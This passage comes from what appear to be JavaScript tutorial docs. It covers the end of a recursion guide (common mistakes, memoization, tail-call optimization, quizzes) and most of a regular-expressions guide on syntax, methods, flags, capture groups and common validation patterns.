never reaches it, you'll still crash: ```javascript // ❌ WRONG - Base case can never be reached function countdown(n) { if (n === 0) return // Only stops at exactly 0 console.log(n) countdown(n - 2) // Skips over 0 when starting with odd number! } countdown(5) // 5, 3, 1, -1, -3... CRASH! ``` ```javascript // ✓ CORRECT - Base case is reachable function countdown(n) { if (n <= 0) return // Stops at 0 or below console.log(n) countdown(n - 2) } countdown(5) // 5, 3, 1 (then stops) ``` ### Mistake #3: Forgetting to Return the Recursive Call If you call the function recursively but don't return its result, you lose the value: ```javascript // ❌ WRONG - Missing return function sum(n) { if (n === 1) return 1 sum(n - 1) + n // Calculated but not returned! } console.log(sum(5)) // undefined ``` ```javascript // ✓ CORRECT - Returns the result function sum(n) { if (n === 1) return 1 return sum(n - 1) + n // Return the calculation } console.log(sum(5)) // 15 ``` ### Mistake #4: Modifying Shared State Be careful about variables outside the function that recursive calls might all modify: ```javascript // ❌ PROBLEMATIC - Shared mutable state let count = 0 function countNodes(node) { if (node === null) return count++ // All calls modify the same variable countNodes(node.left) countNodes(node.right) } // If you call countNodes twice, count keeps increasing! ``` ```javascript // ✓ BETTER - Return values instead of mutating function countNodes(node) { if (node === null) return 0 return 1 + countNodes(node.left) + countNodes(node.right) } // Each call is independent ``` ### Mistake #5: Inefficient Overlapping Subproblems The naive Fibonacci implementation recalculates the same values many times: ```javascript // ❌ VERY SLOW - Exponential time complexity function fib(n) { if (n <= 1) return n return fib(n - 1) + fib(n - 2) } fib(40) // Takes several seconds! fib(50) // Takes minutes or crashes ``` This is fixed with memoization, covered in the next section. --- ## Optimizing Recursive Functions ### Memoization **Memoization** means caching the results of function calls so you don't recompute the same thing twice. It's especially useful for recursive functions with overlapping subproblems. ```javascript // Fibonacci with memoization function fibonacci(n, memo = {}) { // Check if we already calculated this if (n in memo) { return memo[n] } // Base cases if (n <= 1) return n // Calculate and cache the result memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo) return memo[n] } console.log(fibonacci(50)) // 12586269025 (instant!) console.log(fibonacci(100)) // 354224848179262000000 (still instant!) ``` The naive Fibonacci has O(2^n) time complexity. With memoization, it's O(n). That's the difference between billions of operations and just 100. ### Tail Recursion A **tail recursive** function is one where the recursive call is the very last thing the function does. There's no computation after the call returns. ```javascript // NOT tail recursive - multiplication happens AFTER the recursive call function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) // Still need to multiply after call returns } // Tail recursive version - uses an accumulator function factorialTail(n, accumulator = 1) { if (n <= 1) return accumulator return factorialTail(n - 1, accumulator * n) // Nothing to do after this returns } ``` **Why does this matter?** In theory, tail recursive functions can be optimized by the JavaScript engine to reuse the same stack frame, avoiding stack overflow entirely. This is called **Tail Call Optimization (TCO)**. <Note> **Reality check:** Most JavaScript engines (V8 in Chrome/Node, SpiderMonkey in Firefox) **do not implement TCO**. Safari's JavaScriptCore is the notable exception — it has supported TCO since 2016. So in practice, tail recursion doesn't prevent stack overflow in most environments. The [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-tail-position-calls) does define tail call optimization in strict mode, but engine adoption remains limited. Still, it's good to understand the concept, as it's important in functional programming languages like Haskell and Scheme. </Note> ### Converting to Iteration If you're hitting stack limits, consider converting your recursion to a loop with an explicit stack: ```javascript // Recursive tree traversal function sumTreeRecursive(node) { if (node === null) return 0 return node.value + sumTreeRecursive(node.left) + sumTreeRecursive(node.right) } // Iterative version using explicit stack function sumTreeIterative(root) { if (root === null) return 0 let sum = 0 const stack = [root] while (stack.length > 0) { const node = stack.pop() sum += node.value if (node.right) stack.push(node.right) if (node.left) stack.push(node.left) } return sum } ``` The iterative version uses heap memory (the array) instead of stack memory, so it can handle much deeper structures. --- ## Key Takeaways <Info> **The key things to remember:** 1. **Recursion = a function calling itself** to solve smaller versions of the same problem 2. **Every recursive function needs a base case** that stops the recursion without making another call 3. **The recursive case** breaks the problem into a smaller piece and calls the function again 4. **Recursion uses the call stack** — each call adds a new frame with its own local variables 5. **The base case must be reachable** — if it's not, you'll get infinite recursion and a stack overflow 6. **Recursion shines for tree-like structures**: DOM traversal, nested objects, file systems, linked lists 7. **Loops are often better for simple iteration** — less overhead, no stack overflow risk 8. **Watch for stack overflow** on deep recursion (most browsers limit to ~10,000 calls) 9. **Memoization fixes inefficient recursion** by caching results of repeated subproblems 10. **Recursion isn't JavaScript-specific** — it's a universal programming technique you'll use in any language </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What are the two essential parts of a recursive function?"> **Answer:** 1. **Base case**: The condition that stops the recursion. It returns a value without making another recursive call. 2. **Recursive case**: The part where the function calls itself with a simpler or smaller version of the problem. ```javascript function example(n) { if (n === 0) return "done" // Base case return example(n - 1) // Recursive case } ``` </Accordion> <Accordion title="What happens if you forget the base case?"> **Answer:** The function calls itself infinitely until JavaScript throws a `RangeError: Maximum call stack size exceeded`. This is called a **stack overflow** because each call adds a frame to the call stack until it runs out of memory. ```javascript // This will crash function broken(n) { return broken(n - 1) // No base case to stop! } broken(5) // RangeError: Maximum call stack size exceeded ``` </Accordion> <Accordion title="Write a recursive function to find the length of an array without using .length"> **Answer:** ```javascript function arrayLength(arr) { // Base case: empty array has length 0 if (arr.length === 0) return 0 // Recursive case: 1 + length of the rest return 1 + arrayLength(arr.slice(1)) } console.log(arrayLength([1, 2, 3, 4])) // 4 console.log(arrayLength([])) // 0 ``` Note: We use `.length` only to check if the array is empty (our base case). The actual counting happens through recursion, not by directly returning `.length`. </Accordion> <Accordion title="Why is naive Fibonacci recursion inefficient, and how would you fix it?"> **Answer:** Naive Fibonacci recalculates the same values many times. For example, `fib(5)` calculates `fib(3)` twice, `fib(2)` three times, etc. This leads to exponential O(2^n) time complexity. **The fix: Memoization.** Cache results so each value is only calculated once: ```javascript function fibonacci(n, memo = {}) { if (n in memo) return memo[n] if (n <= 1) return n memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo) return memo[n] } ``` This reduces the time complexity to O(n). </Accordion> <Accordion title="When should you choose recursion over a loop?"> **Answer:** **Choose recursion when:** - Working with tree-like or nested structures (DOM, file systems, JSON) - The problem naturally divides into self-similar subproblems - Code clarity is more important than maximum performance - Implementing divide-and-conquer algorithms **Choose loops when:** - Iterating through flat, linear data - Performance is critical - You might recurse more than ~10,000 levels deep - Memory is constrained </Accordion> <Accordion title="How does recursion relate to the call stack?"> **Answer:** Each recursive call creates a new **execution context** that gets pushed onto the call stack. The function waits for its recursive call to return, keeping its context on the stack. When the base case is reached, contexts start popping off the stack as return values bubble back up. This is why deep recursion can cause stack overflow — too many contexts waiting at once. ``` sumTo(3) calls → sumTo(2) calls → sumTo(1) Stack: [sumTo(3), sumTo(2), sumTo(1)] ↓ returns 1 Stack: [sumTo(3), sumTo(2)] ↓ returns 3 Stack: [sumTo(3)] ↓ returns 6 Stack: [] ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is recursion in JavaScript?"> Recursion is when a function calls itself to solve a problem by breaking it into smaller instances of the same problem. Every recursive function needs a base case (when to stop) and a recursive case (how to reduce the problem). As [MDN's glossary](https://developer.mozilla.org/en-US/docs/Glossary/Recursion) defines it, recursion is an act of a function calling itself until a termination condition is met. </Accordion> <Accordion title="What happens if I forget the base case?"> Without a base case, the function calls itself indefinitely until the JavaScript engine runs out of call stack space and throws a `RangeError: Maximum call stack size exceeded`. Most browsers limit the stack to around 10,000–25,000 frames. Always ensure your base case is reachable from every possible input. </Accordion> <Accordion title="When should I use recursion instead of loops?"> Recursion excels with naturally recursive data structures like trees, nested objects, and linked lists. For simple iteration over arrays or counting, a `for` loop is typically clearer and more performant. If the problem involves branching paths (like traversing a file system or DOM tree), recursion is usually the more natural solution. </Accordion> <Accordion title="Does JavaScript support tail call optimization?"> The [ECMAScript 2015 specification](https://tc39.es/ecma262/#sec-tail-position-calls) defines tail call optimization in strict mode, but most engines have not implemented it. Safari's JavaScriptCore is the only major engine with TCO support. In practice, use memoization or convert deep recursion to iteration when stack depth is a concern. </Accordion> <Accordion title="How deep can recursion go in JavaScript?"> The maximum recursion depth depends on the JavaScript engine and available memory. Chrome's V8 typically allows around 10,000–15,000 stack frames, while other engines vary. For problems requiring deep recursion, consider converting to an iterative approach using an explicit stack data structure. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How JavaScript tracks function execution — the foundation of how recursion works under the hood. </Card> <Card title="Higher-Order Functions" icon="function" href="/concepts/higher-order-functions"> Functions that take or return other functions. Many recursive patterns combine with higher-order functions. </Card> <Card title="Data Structures" icon="sitemap" href="/concepts/data-structures"> Trees, linked lists, and graphs — data structures that are naturally recursive. </Card> <Card title="Pure Functions" icon="sparkles" href="/concepts/pure-functions"> Functions with no side effects. Recursive functions work best when they're pure. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Recursion — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Recursion"> Official MDN definition with common examples including factorial, Fibonacci, and reduce. </Card> <Card title="Functions Guide: Recursion — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#recursion"> MDN's guide on recursive functions in JavaScript with DOM traversal examples. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Recursion and Stack" icon="newspaper" href="https://javascript.info/recursion"> The definitive JavaScript recursion tutorial. Covers execution context, linked lists, and recursive data structures with interactive examples. </Card> <Card title="What is Recursion? A Recursive Function Explained" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-recursion-in-javascript/"> Beginner-friendly introduction with step-by-step breakdowns. Great for understanding the "why" behind recursion. </Card> </CardGroup> <CardGroup cols={2}> <Card title="Recursion Explained (with Examples)" icon="newspaper" href="https://dev.to/christinamcmahon/recursion-explained-with-examples-4k1m"> Visual explanation of factorial and Fibonacci with tree diagrams. Includes memoization introduction. </Card> <Card title="JavaScript Recursive Function" icon="newspaper" href="https://www.javascripttutorial.net/javascript-recursive-function/"> Clear tutorial covering recursive function basics, countdowns, and sum calculations with detailed step-by-step explanations. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="What Is Recursion - In Depth" icon="video" href="https://www.youtube.com/watch?v=6oDQaB2one8"> Web Dev Simplified breaks down recursion with clear visuals and practical examples. Great for visual learners. </Card> <Card title="Recursion" icon="video" href="https://www.youtube.com/watch?v=k7-N8R0-KY4"> Fun Fun Function's engaging explanation of recursion with personality and deeper conceptual insights. </Card> </CardGroup> <CardGroup cols={2}> <Card title="Recursion Crash Course" icon="video" href="https://www.youtube.com/watch?v=lMBVwYrmFZQ"> Colt Steele's practical crash course on recursion, perfect for interview preparation. </Card> <Card title="What on Earth is Recursion?" icon="video" href="https://www.youtube.com/watch?v=Mv9NEXX1VHc"> Computerphile explains recursion from a computer science perspective with great conceptual depth. </Card> </CardGroup> ================================================ FILE: docs/concepts/regular-expressions.mdx ================================================ --- title: "Regular Expressions" sidebarTitle: "Regular Expressions: Pattern Matching" description: "Learn regular expressions in JavaScript. Pattern syntax, character classes, quantifiers, flags, and methods like test and match." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "regular expressions, regex patterns, pattern matching, character classes, quantifiers" --- How do you check if an email address is valid? How do you find and replace all phone numbers in a document? How can you extract hashtags from a tweet? ```javascript // Check if a string contains only digits const isAllDigits = /^\d+$/.test('12345') console.log(isAllDigits) // true // Find all words starting with capital letters const text = 'Hello World from JavaScript' const capitalWords = text.match(/\b[A-Z][a-z]*\b/g) console.log(capitalWords) // ["Hello", "World"] ``` The answer is **[regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions)** (often called "regex" or "regexp"). They're patterns that describe what you're looking for in text, and JavaScript has powerful built-in support for them. <Info> **What you'll learn in this guide:** - Creating regex with literals (`/pattern/`) and the `RegExp` constructor - Character classes, quantifiers, and anchors - Key methods: `test()`, `match()`, `replace()`, `split()` - Capturing groups for extracting parts of matches - Flags that change how patterns match - Common real-world patterns (email, phone, URL) </Info> <Warning> **Prerequisite:** This guide assumes you're comfortable with [strings](/concepts/primitive-types) in JavaScript. You don't need any prior regex experience — we'll start from the basics. </Warning> --- ## What Are Regular Expressions? A **[regular expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)** is a pattern used to match character combinations in strings. In JavaScript, regex are objects that you can use with string methods to search, validate, extract, and replace text. They use a special syntax where characters like `\d`, `*`, and `^` have special meanings beyond their literal values. Regular expressions have been part of JavaScript since its first version in 1995, and the [ECMAScript specification](https://tc39.es/ecma262/#sec-regexp-regular-expression-objects) has steadily expanded their capabilities — adding features like named capture groups (ES2018), lookbehind assertions (ES2018), and the `d` flag for match indices (ES2022). ### Two Ways to Create Regex ```javascript // 1. Literal syntax (preferred for static patterns) const pattern1 = /hello/ // 2. Constructor syntax (useful for dynamic patterns) const pattern2 = new RegExp('hello') // Both work the same way console.log(pattern1.test('hello world')) // true console.log(pattern2.test('hello world')) // true ``` Use the literal syntax when you know the pattern ahead of time. Use the constructor when you need to build patterns dynamically, like from user input. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions), literal regex are compiled when the script loads, while `RegExp` constructor patterns are compiled at runtime — making literals slightly more efficient for static patterns: ```javascript function findWord(text, word) { const pattern = new RegExp(word, 'gi') // case-insensitive, global return text.match(pattern) } console.log(findWord('Hello hello HELLO', 'hello')) // ["Hello", "hello", "HELLO"] ``` --- ## The Detective Analogy Think of regex like giving a detective a description to find suspects in a crowd: - **Literal characters** (`abc`) — "Find someone named 'abc'" - **Character classes** (`[aeiou]`) — "Find someone with a vowel in their name" - **Quantifiers** (`a+`) — "Find someone with one or more 'a's in their name" - **Anchors** (`^`, `$`) — "They must be at the start/end of the line" ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ REGEX PATTERN MATCHING │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Pattern: /\d{3}-\d{4}/ String: "Call 555-1234 today" │ │ │ │ Step 1: Find 3 digits (\d{3}) → "555" ✓ │ │ Step 2: Find a hyphen (-) → "-" ✓ │ │ Step 3: Find 4 digits (\d{4}) → "1234" ✓ │ │ │ │ Result: Match found! → "555-1234" │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Building Blocks: Character Classes Character classes let you match *types* of characters rather than specific ones. | Pattern | Matches | Example | |---------|---------|---------| | `.` | Any character except newline | `/a.c/` matches "abc", "a1c", "a-c" | | `\d` | Any digit [0-9] | `/\d{3}/` matches "123" | | `\D` | Any non-digit | `/\D+/` matches "abc" | | `\w` | Word character [A-Za-z0-9_] | `/\w+/` matches "hello_123" | | `\W` | Non-word character | `/\W/` matches "!" or " " | | `\s` | Whitespace (space, tab, newline) | `/\s+/` matches " " | | `\S` | Non-whitespace | `/\S+/` matches "hello" | | `[abc]` | Any of a, b, or c | `/[aeiou]/` matches any vowel | | `[^abc]` | Not a, b, or c | `/[^0-9]/` matches non-digits | | `[a-z]` | Character range | `/[A-Za-z]/` matches any letter | ```javascript // Match a phone number pattern: 3 digits, hyphen, 4 digits const phone = /\d{3}-\d{4}/ console.log(phone.test('555-1234')) // true console.log(phone.test('55-1234')) // false // Match words (letters, digits, underscores) const words = 'hello_world 123 test!' console.log(words.match(/\w+/g)) // ["hello_world", "123", "test"] ``` --- ## Building Blocks: Quantifiers Quantifiers specify how many times a pattern should repeat. | Quantifier | Meaning | Example | |------------|---------|---------| | `*` | 0 or more | `/ab*c/` matches "ac", "abc", "abbbbc" | | `+` | 1 or more | `/ab+c/` matches "abc", "abbbbc" (not "ac") | | `?` | 0 or 1 (optional) | `/colou?r/` matches "color", "colour" | | `{n}` | Exactly n times | `/\d{4}/` matches "2024" | | `{n,}` | n or more times | `/\d{2,}/` matches "12", "123", "1234" | | `{n,m}` | Between n and m times | `/\d{2,4}/` matches "12", "123", "1234" | ```javascript // Match optional 's' for plural const plural = /apple(s)?/ console.log(plural.test('apple')) // true console.log(plural.test('apples')) // true // Match 1 or more digits const numbers = 'I have 42 apples and 7 oranges' console.log(numbers.match(/\d+/g)) // ["42", "7"] ``` --- ## Building Blocks: Anchors Anchors match *positions* in the string, not characters. | Anchor | Position | |--------|----------| | `^` | Start of string (or line with `m` flag) | | `$` | End of string (or line with `m` flag) | | `\b` | Word boundary | | `\B` | Not a word boundary | ```javascript // Must start with "Hello" console.log(/^Hello/.test('Hello World')) // true console.log(/^Hello/.test('Say Hello')) // false // Must end with a digit console.log(/\d$/.test('Room 42')) // true console.log(/\d$/.test('42 rooms')) // false // Word boundaries prevent partial matches console.log(/\bcat\b/.test('cat')) // true console.log(/\bcat\b/.test('category')) // false (cat is part of a larger word) ``` --- ## Methods for Using Regex JavaScript provides several methods for working with regular expressions: | Method | Returns | Use Case | |--------|---------|----------| | `regex.test(str)` | `true` or `false` | Simple validation | | `str.match(regex)` | Array or `null` | Find matches | | `str.matchAll(regex)` | Iterator | Find all matches with details | | `str.search(regex)` | Index or `-1` | Find position of first match | | `str.replace(regex, replacement)` | New string | Replace matches | | `str.split(regex)` | Array | Split by pattern | | `regex.exec(str)` | Match array or `null` | Detailed match info (stateful) | ### test() — Simple Validation ```javascript const emailPattern = /\S+@\S+\.\S+/ console.log(emailPattern.test('user@example.com')) // true console.log(emailPattern.test('invalid-email')) // false ``` ### match() — Find Matches ```javascript const text = 'My numbers: 123, 456, 789' // Without 'g' flag: returns first match with details console.log(text.match(/\d+/)) // ["123", index: 12, input: "My numbers: 123, 456, 789"] // With 'g' flag: returns all matches console.log(text.match(/\d+/g)) // ["123", "456", "789"] ``` ### matchAll() — All Matches with Details When you need all matches AND details (like captured groups), use `matchAll()`. It requires the `g` flag and returns an iterator: ```javascript const text = 'Call 555-1234 or 555-5678' const pattern = /(\d{3})-(\d{4})/g for (const match of text.matchAll(pattern)) { console.log(`Found: ${match[0]}, Prefix: ${match[1]}, Number: ${match[2]}`) } // "Found: 555-1234, Prefix: 555, Number: 1234" // "Found: 555-5678, Prefix: 555, Number: 5678" ``` ### search() — Find Position ```javascript const text = 'Hello World' console.log(text.search(/World/)) // 6 (index where match starts) console.log(text.search(/xyz/)) // -1 (not found) ``` ### replace() — Replace Matches ```javascript // Replace first occurrence console.log('hello world'.replace(/o/, '0')) // "hell0 world" // Replace all occurrences (with 'g' flag) console.log('hello world'.replace(/o/g, '0')) // "hell0 w0rld" // Use captured groups in replacement console.log('John Smith'.replace(/(\w+) (\w+)/, '$2, $1')) // "Smith, John" ``` ### split() — Split by Pattern ```javascript // Split on one or more whitespace characters const words = 'hello world foo'.split(/\s+/) console.log(words) // ["hello", "world", "foo"] // Split on commas with optional spaces const items = 'a, b,c , d'.split(/\s*,\s*/) console.log(items) // ["a", "b", "c", "d"] ``` ### exec() — Detailed Match Info `exec()` is similar to `match()` but is called on the regex. With the `g` flag, calling it repeatedly finds the next match each time: ```javascript const pattern = /\d+/g const text = 'a1b22c333' console.log(pattern.exec(text)) // ["1", index: 1] console.log(pattern.exec(text)) // ["22", index: 3] console.log(pattern.exec(text)) // ["333", index: 6] console.log(pattern.exec(text)) // null (no more matches) ``` --- ## Flags Flags modify how the pattern matches. Add them after the closing slash. | Flag | Name | Effect | |------|------|--------| | `g` | Global | Find all matches, not just the first | | `i` | Case-insensitive | `a` matches `A` | | `m` | Multiline | `^` and `$` match at each line's start/end | | `s` | DotAll | `.` matches newlines too | ```javascript // Case-insensitive matching console.log(/hello/i.test('HELLO')) // true // Global: find all matches console.log('abcabc'.match(/a/g)) // ["a", "a"] console.log('abcabc'.match(/a/)) // ["a", index: 0, input: "abcabc", ...] (first match with details) // Multiline: ^ and $ match each line const multiline = 'line1\nline2\nline3' console.log(multiline.match(/^line\d/gm)) // ["line1", "line2", "line3"] ``` --- ## Capturing Groups Parentheses `()` create **capturing groups** that let you extract parts of a match. ```javascript // Extract area code and number separately const phonePattern = /\((\d{3})\) (\d{3}-\d{4})/ const match = '(555) 123-4567'.match(phonePattern) console.log(match[0]) // "(555) 123-4567" (full match) console.log(match[1]) // "555" (first group) console.log(match[2]) // "123-4567" (second group) ``` ### Named Groups Use `(?<name>pattern)` to give groups meaningful names. Named groups were introduced in ES2018 and are documented on [MDN's groups and backreferences page](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions/Groups_and_backreferences): ```javascript const datePattern = /(?<month>\d{2})-(?<day>\d{2})-(?<year>\d{4})/ const match = '12-25-2024'.match(datePattern) console.log(match.groups.month) // "12" console.log(match.groups.day) // "25" console.log(match.groups.year) // "2024" ``` ### Using Groups in Replace Reference captured groups with `$1`, `$2`, etc. (or `$<name>` for named groups): ```javascript // Reformat date from MM-DD-YYYY to YYYY/MM/DD const date = '12-25-2024' const reformatted = date.replace( /(\d{2})-(\d{2})-(\d{4})/, '$3/$1/$2' ) console.log(reformatted) // "2024/12/25" ``` --- ## The #1 Regex Mistake: Greedy vs Lazy By default, quantifiers are **greedy**. They match as much as possible. Add `?` to make them **lazy** (match as little as possible). ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GREEDY VS LAZY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ String: "<div>Hello</div><div>World</div>" │ │ │ │ GREEDY: /<div>.*<\/div>/ LAZY: /<div>.*?<\/div>/ │ │ Matches: "<div>Hello</div> Matches: "<div>Hello</div>" │ │ <div>World</div>" │ │ (Everything from first (Just the first div) │ │ <div> to LAST </div>) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript const html = '<div>Hello</div><div>World</div>' // Greedy: matches everything between first <div> and LAST </div> console.log(html.match(/<div>.*<\/div>/)[0]) // "<div>Hello</div><div>World</div>" // Lazy: stops at first </div> console.log(html.match(/<div>.*?<\/div>/)[0]) // "<div>Hello</div>" ``` <Tip> **Rule of Thumb:** When matching content between delimiters (like HTML tags, quotes, or brackets), prefer lazy quantifiers (`*?`, `+?`) to avoid matching too much. </Tip> --- ## Common Patterns Here are some practical patterns you can use in your projects: ```javascript // Email (basic validation) const email = /^[^\s@]+@[^\s@]+\.[^\s@]+$/ console.log(email.test('user@example.com')) // true // URL const url = /^https?:\/\/[^\s]+$/ console.log(url.test('https://example.com/path')) // true // Phone (US format: 123-456-7890 or (123) 456-7890) const phone = /^(\(\d{3}\)|\d{3})[-.\s]?\d{3}[-.\s]?\d{4}$/ console.log(phone.test('(555) 123-4567')) // true console.log(phone.test('555-123-4567')) // true // Username (alphanumeric, 3-16 chars) const username = /^[a-zA-Z0-9_]{3,16}$/ console.log(username.test('john_doe123')) // true ``` <Warning> **Don't go overboard.** Regex is great for pattern matching, but it's not always the best tool. For complex validation like email addresses (which have a surprisingly complex spec), consider using a dedicated validation library. The email regex above works for most cases but won't catch every edge case. </Warning> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Regex = patterns for strings** — They describe what you're looking for, not literal text 2. **Two ways to create** — `/pattern/` literals or `new RegExp('pattern')` 3. **Character classes** — `\d` (digits), `\w` (word chars), `\s` (whitespace), `.` (any) 4. **Quantifiers** — `*` (0+), `+` (1+), `?` (0-1), `{n,m}` (specific range) 5. **Anchors** — `^` (start), `$` (end), `\b` (word boundary) 6. **test() for validation** — Returns true/false 7. **match() for extraction** — Returns matches or null 8. **Flags change behavior** — `g` (global), `i` (case-insensitive), `m` (multiline) 9. **Groups capture parts** — Use `()` to extract portions of matches 10. **Greedy vs lazy** — Add `?` after quantifiers to match minimally </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between /pattern/ and new RegExp('pattern')?"> **Answer:** Both create a regex object, but they differ in when to use them: - **Literal `/pattern/`** — Use for static patterns known at write time. The pattern is compiled when the script loads. - **`new RegExp('pattern')`** — Use for dynamic patterns built at runtime (e.g., from user input). Remember to escape backslashes: `new RegExp('\\d+')`. ```javascript // Static pattern - use literal const digits = /\d+/ // Dynamic pattern - use constructor const searchTerm = 'hello' const dynamic = new RegExp(searchTerm, 'gi') ``` </Accordion> <Accordion title="Question 2: What does \b match?"> **Answer:** `\b` matches a **word boundary** — the position between a word character (`\w`) and a non-word character. It doesn't match any actual character; it matches a position. ```javascript // \b prevents partial matches console.log(/\bcat\b/.test('cat')) // true console.log(/\bcat\b/.test('category')) // false console.log(/\bcat\b/.test('the cat')) // true ``` Word boundaries are useful when you want to match whole words only. </Accordion> <Accordion title="Question 3: How do you make a quantifier lazy?"> **Answer:** Add a `?` after the quantifier to make it lazy (non-greedy): - `*?` — Match 0 or more, as few as possible - `+?` — Match 1 or more, as few as possible - `??` — Match 0 or 1, preferring 0 - `{n,m}?` — Match between n and m, as few as possible ```javascript const text = '<b>bold</b> and <b>more bold</b>' // Greedy: matches everything between first <b> and last </b> text.match(/<b>.*<\/b>/)[0] // "<b>bold</b> and <b>more bold</b>" // Lazy: matches just the first <b>...</b> text.match(/<b>.*?<\/b>/)[0] // "<b>bold</b>" ``` </Accordion> <Accordion title="Question 4: What's the difference between match() with and without the g flag?"> **Answer:** - **Without `g`**: Returns first match with full details (captured groups, index, input) - **With `g`**: Returns array of all matches (just the matched strings, no details) ```javascript const text = 'cat and cat' // Without g: detailed info about first match text.match(/cat/) // ["cat", index: 0, input: "cat and cat"] // With g: all matches, no details text.match(/cat/g) // ["cat", "cat"] ``` Use `matchAll()` if you need both all matches AND details for each. </Accordion> <Accordion title="Question 5: How do you reference a captured group in a replacement string?"> **Answer:** Use `$1`, `$2`, etc. for numbered groups, or `$<name>` for named groups: ```javascript // Numbered groups 'John Smith'.replace(/(\w+) (\w+)/, '$2, $1') // "Smith, John" // Named groups '2024-12-25'.replace( /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/, '$<month>/$<day>/$<year>' ) // "12/25/2024" // $& references the entire match 'hello'.replace(/\w+/, '[$&]') // "[hello]" ``` </Accordion> <Accordion title="Question 6: How do you match special regex characters literally?"> **Answer:** Escape special characters with a backslash `\`. Characters that need escaping: `. * + ? ^ $ { } [ ] \ | ( )` and `/` in literal syntax ```javascript // Match a literal period /\./.test('file.txt') // true /\./.test('filetxt') // false // Match a literal dollar sign /\$\d+/.test('$100') // true // When using RegExp constructor, double-escape new RegExp('\\d+\\.\\d+') // matches "3.14" ``` For dynamic patterns from user input, escape all special chars: ```javascript function escapeRegex(string) { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') } const userInput = 'hello.world' const pattern = new RegExp(escapeRegex(userInput)) pattern.test('hello.world') // true pattern.test('helloXworld') // false ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are regular expressions in JavaScript?"> Regular expressions (regex) are patterns used to match character combinations in strings. In JavaScript, they are objects created with the `/pattern/flags` literal or the `RegExp` constructor. They power methods like `test()`, `match()`, `replace()`, and `split()` for searching, validating, and transforming text. </Accordion> <Accordion title="When should I use the RegExp constructor vs literal syntax?"> Use literal syntax (`/pattern/`) for static patterns known at write time — it's compiled when the script loads and is more readable. Use the `RegExp` constructor when patterns are built dynamically from variables or user input. As [MDN notes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions), literal regex offer a slight performance advantage because they are compiled once at load time. </Accordion> <Accordion title="What does the g flag do in regex?"> The `g` (global) flag tells the regex engine to find all matches in the string instead of stopping after the first. Without `g`, methods like `match()` return only the first match with capture groups. With `g`, `match()` returns an array of all matches but without group details. Use `matchAll()` (ES2020) to get all matches with full group information. </Accordion> <Accordion title="What are named capture groups in JavaScript regex?"> Named capture groups, introduced in ES2018, let you assign names to capture groups using `(?<name>pattern)` syntax. Instead of accessing matches by index (`match[1]`), you access them by name (`match.groups.name`). This makes regex code more readable and resilient to pattern changes. The [ECMAScript specification](https://tc39.es/ecma262/#prod-GroupSpecifier) defines the full syntax. </Accordion> <Accordion title="How do I avoid common regex performance problems?"> Avoid catastrophic backtracking by limiting the use of nested quantifiers like `(a+)+`. Use atomic groups or possessive quantifiers where supported. Keep patterns as specific as possible — `/\d{3}/` is faster than `/\d+/` when you know the exact length. For complex validation, consider splitting the task into multiple simpler regex checks rather than one monolithic pattern. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitive Types" icon="cube" href="/concepts/primitive-types"> Strings are one of JavaScript's primitive types </Card> <Card title="Map, Reduce, Filter" icon="filter" href="/concepts/map-reduce-filter"> Process arrays of matches from regex operations </Card> <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> Invalid regex patterns throw SyntaxError </Card> <Card title="Clean Code" icon="broom" href="/concepts/clean-code"> Write maintainable regex with comments and named groups </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Regular Expressions — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions"> Comprehensive MDN guide covering all regex syntax and features </Card> <Card title="RegExp Object — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp"> Reference for the RegExp constructor, methods, and properties </Card> <Card title="String.prototype.match() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match"> Documentation for the match() method </Card> <Card title="String.prototype.replace() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace"> Documentation for the replace() method </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Regular Expressions — JavaScript.info" icon="newspaper" href="https://javascript.info/regular-expressions"> Multi-chapter deep dive covering every regex feature with interactive examples. The go-to tutorial for learning regex thoroughly. </Card> <Card title="Learn Regex the Easy Way" icon="newspaper" href="https://github.com/ziishaned/learn-regex"> Visual cheatsheet with clear examples for each pattern type. Great reference when you forget 